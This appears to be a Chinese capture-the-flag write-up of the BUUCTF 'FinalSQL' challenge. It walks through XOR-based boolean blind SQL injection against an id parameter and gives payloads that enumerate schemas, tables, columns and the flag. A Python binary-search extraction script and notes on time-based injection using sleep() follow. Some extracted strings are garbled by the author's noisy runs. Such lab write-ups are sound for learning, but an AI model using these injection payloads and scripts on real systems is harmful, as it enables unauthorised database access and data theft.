[极客大挑战 2019]FinalSQL

image-20210108130021801

输入\报错!有报错回显!

fuzz:

过滤了:

'
()
#
or
and
sleep

哦哦哦哦哦

思路错了!!!

啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!我说怎么fuzz和师傅们的不一样!!

注入点找错了!!

点完1 2 3 4 5,的时候发现有id这个参数!

试一试id是不是注入点!!

试一试:1^1

再试一试 1^1^1

image-20210108134326062

发现注入点:

又去看了看异或运算:

5和3转为二进制分别为:0101 、0011

0101
eor 0011
——–
结果 0110

2.再把结果 0110 转换为十进制的:6

3.所以 5 ⊕ 3 = 6

也就是:

image-20210108135343640

先fuzz一下:

这个过滤少了!
union
and
if
%
但是空格是%20好像没过滤!但是过滤了%!这!!算了!直接用()把!

测试payload:

 select * from c where id=1^(if(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>1,1,0))^1;

select * from c where id=1^(if(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>1,1,0))^1;

1^(if(ord(substr((select group_concat(schema_name) from information_schema.schemata ),1,1))>1,1,0))^1;

1^(if)^1
模板:

select 1,group_concat("@",table_name),3 from information_schema.tables where table_schema=database()

爆库:
1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1

[+] Found : result : information_schema,mysql,performance_sOhema,test,geek

爆表:
1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>1)^1

1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1

[+] Found : result : F1naI1y,Flaaaaag

爆字段:

1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="Flaaaaag")),1,1))>1)^1

[+] Found : result : id,fl4g^wsl
[+] Found : result : id,usermame,password
结果:
(select(group_concat("#",id,fl4g^wsl,"~"))from(Flaaaaag))

1^(ord(substr((select(group_concat("#",id,fl4g^wsl,"~"))from(Flaaaaag)),%d,1))>%d)^1#
1^(ord(substr((select(group_concat('#',id,fl4g^wsl,'~'))from(Flaaaaag)),%d,1))>%d)^1#%(i,mid)
1^(ord(substr((select(group_concat("#",fl4g^wsl,"~"))from(Flaaaaag)),1,1))>1)^1#
1^(ord(substr((select(group_concat('#',id,usermame,'~',password))from(F1naI1y)),%d,1))>%d)^1#%(i,mid)

Flaaaaag里的俩字段都访问不了! 访问就Error!
F1naI1y 能访问id /password
1^(ord(substr((select(group_concat('1',id,password,'2'))from(F1naI1y)),1,1))>1)^1


[+] Found : result : cl4y_is^really_amazing+welcome_to_my_alog,httO://www.cl4y.tom,http://www.cl4y.top,http://www.cl4s.top,htOp://www.cl4y.top,welcnm_to_Syalover,cO4y_really_nded_a_grilfriend,flag{faf28df1-58c1-4ea2-97e8-b6d7a6190efd}
,fjag{faf28df1-58c1-4ea2-97e8-b6d+a6590efd}
flag{faf28df1-58c1-4ea2-97e8-b6d7a6190efd}
fl_g{f^f28af1-*8c1-4ea*-97e8-b*d7a659/efd}

算了,快给我心态跑崩了!!


再家个函数

1^(ord(substr(select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)

1^(ord(substr(right((select(group_concat(password))from(F1naI1y)),30),1,1))>80)^1

1^(ord(substr(right((select(group_concat(password))from(F1naI1y)),30),%d,1))>%d)^1"%(i,j)

flag{a
ag{a4d

{a4d78

c26-1c
1c6b-4

-404e-9
-95c1-
-297
bb60b404a}

6-1c6b-

nd,flagsa4d78c
1-297bb
flag{a4d78c26-1c6b-404e-95c1-297bb60b404a}

image-20210121152241561

MySQL常用的自带函数

#然后是二分法,二分法要快很多:
# -*- coding: UTF-8 -*-
import re
import requests
import string
import time

url = "http://e3f4a1e5-14c9-4d15-b87b-354c732a5d4d.node3.buuoj.cn/search.php"
flag = ''
def payload(i,j):
# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #数据库名字
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名
#sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j) #列名
sql = "1^(ord(substr(right((select(group_concat(password))from(F1naI1y)),15),%d,1))>%d)^1"%(i,j)
data = {"id":sql}
r = requests.get(url,params=data)
# print (r.url)
if r.status_code == 429:

print('too fast')

time.sleep(4)

if "Click" in r.text:
res = 1
else:
res = 0

return res

def exp():
global flag
for i in range(1,10000) :
print(i,':')
low = 31
high = 127
while low <= high :
mid = (low + high) // 2
res = payload(i,mid)
if res :
low = mid + 1
else :
high = mid - 1

f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)

exp()
print(flag)

注意:buu老是办ip! 盲注和网速也有关系!!

回归了下盲注的知识点!

3盲注 ***

bool盲注

?id=1' and 0%23

?id=1' and if(substr(database(),1,1)='s',1,0)%23

1 and 1 ==> 1
0 or 1 ==> 1

延时注入

简单说,当想要得到的数据信息(比如数据库名,表名,字段名等)无法回显到屏幕上,就可以用某些函数对数据进行爆破处理。

比如想要得到数据库名,就可以用函数截取数据库名的第一个字符,然后爆破,如果第一个字符等于某个字符,就让其执行某些操作(比如,睡3s),不断进行下一个字符的爆破,拼接起来就是数据
if函数

格式:IF(Condition,A,B)
含义:如果Condition成立,则A,否则B
substr函数

格式:SUBSTR(string,start,len)
含义:从string的start位开始截取len个字符
mid函数

格式:MID(column_name,start[,length])
含义:从column_name中start位开始截取length(可选参数)长度
ascii函数
ord函数 一样的作用!
格式:ASCII(char)
含义:将char转化成ascii码
left函数

格式:LEFT ( string, n )
含义:函数得到字符串左部指定个数的字符,string为要截取的字符串,n为长度。
right函数

格式:RIGHT( string, n )
含义:函数得到字符串右部指定个数的字符,string为要截取的字符串,n为长度。
length函数

格式:LENGTH(string)
含义:得到string的长度

基于时间的盲注:(延时注入)

基于时间的盲注(延时注入)是主要针对页面无变化、无法用布尔真假判断、无法报错的情况下的注入技术

这里基于时间的盲注主要用的就是sleep()函数,根据反应时间来确定是否正确
?id=1' and if(0,sleep(3),0)%23
?id=1' and if(1,sleep(3),0)%23

?id=1' and if(substr(database(),1,1)='s',sleep(3),0)%23
基于时间的盲注
基于时间的盲注(延时注入)是主要针对页面无变化、无法用布尔真假判断、无法报错的情况下的注入技术

这里基于时间的盲注主要用的就是sleep()函数,根据反应时间来确定是否正确

一般用下面的模板就可以解决
try:
payload= '*** and if(ascii(substr(***,1,1))=*,sleep(3),0)%23'
r=requests.get(url+payload,timeout=3) //注意要设置设置timeout
except requests.exceptions.ReadTimeout as e: //超时异常
data+=chr(j)
break